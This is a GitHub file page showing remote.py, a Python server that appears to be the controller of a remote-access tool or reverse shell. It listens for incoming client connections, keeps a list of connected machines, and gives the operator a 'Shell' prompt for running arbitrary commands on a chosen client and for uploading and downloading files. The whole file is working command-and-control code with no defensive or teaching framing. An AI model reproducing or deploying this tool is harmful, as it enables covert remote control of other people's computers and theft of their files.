-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathremote.py
219 lines (176 loc) · 5.89 KB
/
remote.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
import socket
from rich.progress import Progress
from threading import Thread
import os
import time
green = '\033[1;32m'
red = '\033[1;31m'
white ='\033[1;0m'
blue = '\033[1;34m'
violet = '\033[1;35m'
black = '\033[1;30m'
yellow = '\033[1;33m'
HOST = input('enter host: ')
PORT = 2222
clientList = []
clientAdList = []
def printinfo(text):
mark = blue+'['+red+'*'+blue+'] '
label = mark+green+text+white
print(label)
def download(server):
filename = input(blue+'file name> ')
try:
name = os.path.split(filename)[1]
except:
name = filename
server.send(filename.encode())
filesize = int(server.recv(1025*1024*5).decode())
with open(name , 'wb') as file :
with Progress() as p:
t = p.add_task(description=f'[blue][Downloading] {filename} ',total=filesize)
totalreceivedd = 0
while totalreceivedd<filesize:
data = server.recv(1024*1024*50)
file.write(data)
p.advance(t, len(data))
totalreceivedd+=len(data)
def upload(server):
filename = input(blue+'filename > ')
path = input(blue+'Upload destination > ')
fullpath = os.path.join(path , filename)
server.send(fullpath.encode())
with open(filename , 'rb') as f:
with Progress() as p:
t = p.add_task(description=f'[blue][Uploading] {filename} ',total=os.path.getsize(filename))
while True:
chunk = f.read(1024*1024*40)
if not chunk:
break
else:
server.send(chunk)
server.recv(1024*1024)
p.advance(t , len(chunk))
server.send(b'')
def recvRes(client):
n = True
run = True
while run:
res = client.recv(1024*1024*5)
if n:
print()
n = False
if res == b'code to terminate':
run = False
if not b'code to terminate' in res:
try:
if res == b'\n':
print()
else:
print(violet+res.decode()+white)
except:
try:
print(violet+res.decode('cp437')+white ,end='')
except:
print(violet+'\n',res ,white)
else:
break
def handleClient():
currentClient = 0
while True:
try:
cmd = input(f'{red}Shell{blue}{clientAdList[currentClient]}[{currentClient}]){red}>{blue} ')
try:
t2.join(0.01)
except :
pass
if 'change' in cmd:
cmd = cmd.split(' ')
id = cmd[1]
currentClient=int(id)
continue
elif cmd == 'cls' or cmd == 'clear':
os.system('cls' if os.name =='nt' else 'clear')
elif cmd == 'exit' :
return
elif not cmd:
continue
elif cmd.startswith('ccd'):
try:
direc = cmd.split(' ')[1]
os.chdir(direc)
except Exception as e:
print(red,' ' ,e)
elif cmd.lower() == 'cdir':
os.system('dir')
elif cmd =='clist':
print(f'{violet} Index {blue} ======client=====')
for id, i in enumerate(clientAdList):
printinfo(f'{violet} {id}{blue} {i}')
else:
client = clientList[currentClient]
if cmd == 'upload':
try:
client.send(b'upload')
upload(client)
except:
printinfo(f'{black}Client is offline!')
clientList.pop(currentClient)
clientAdList.pop(currentClient)
currentClient = 0
continue
elif cmd == 'download':
try:
client.send(b'download')
download(client)
except:
printinfo(f'{black}Client is offline!')
clientList.pop(currentClient)
clientAdList.pop(currentClient)
currentClient = 0
continue
try:
client.send(cmd.encode())
except:
printinfo(f'{black}Client is offline!')
clientList.pop(currentClient)
clientAdList.pop(currentClient)
currentClient = 0
continue
t2 = Thread(target=lambda: recvRes(client))
t2.daemon = True
t2.start()
except Exception as e:
print(e)
time.sleep(5)
handleClient()
def make_server_and_accept():
first = True
server = socket.socket()
server.bind((HOST, PORT))
server.listen(5)
printinfo(f'Server listening on host: {HOST} port: {PORT}')
while True:
clientSoc , clientAd = server.accept()
clientList.append(clientSoc)
clientAdList.append(clientAd)
print()
printinfo(f'Get connection from {clientAd}')
if first:
t1 = Thread(target =handleClient)
t1.daemon = True
t1.start()
first = False
else:
continue
def main():
t = Thread(target=make_server_and_accept)
t.daemon = True
t.start()
t.join()
if __name__ == "__main__":
while True:
try:
main()
except Exception as e:
pass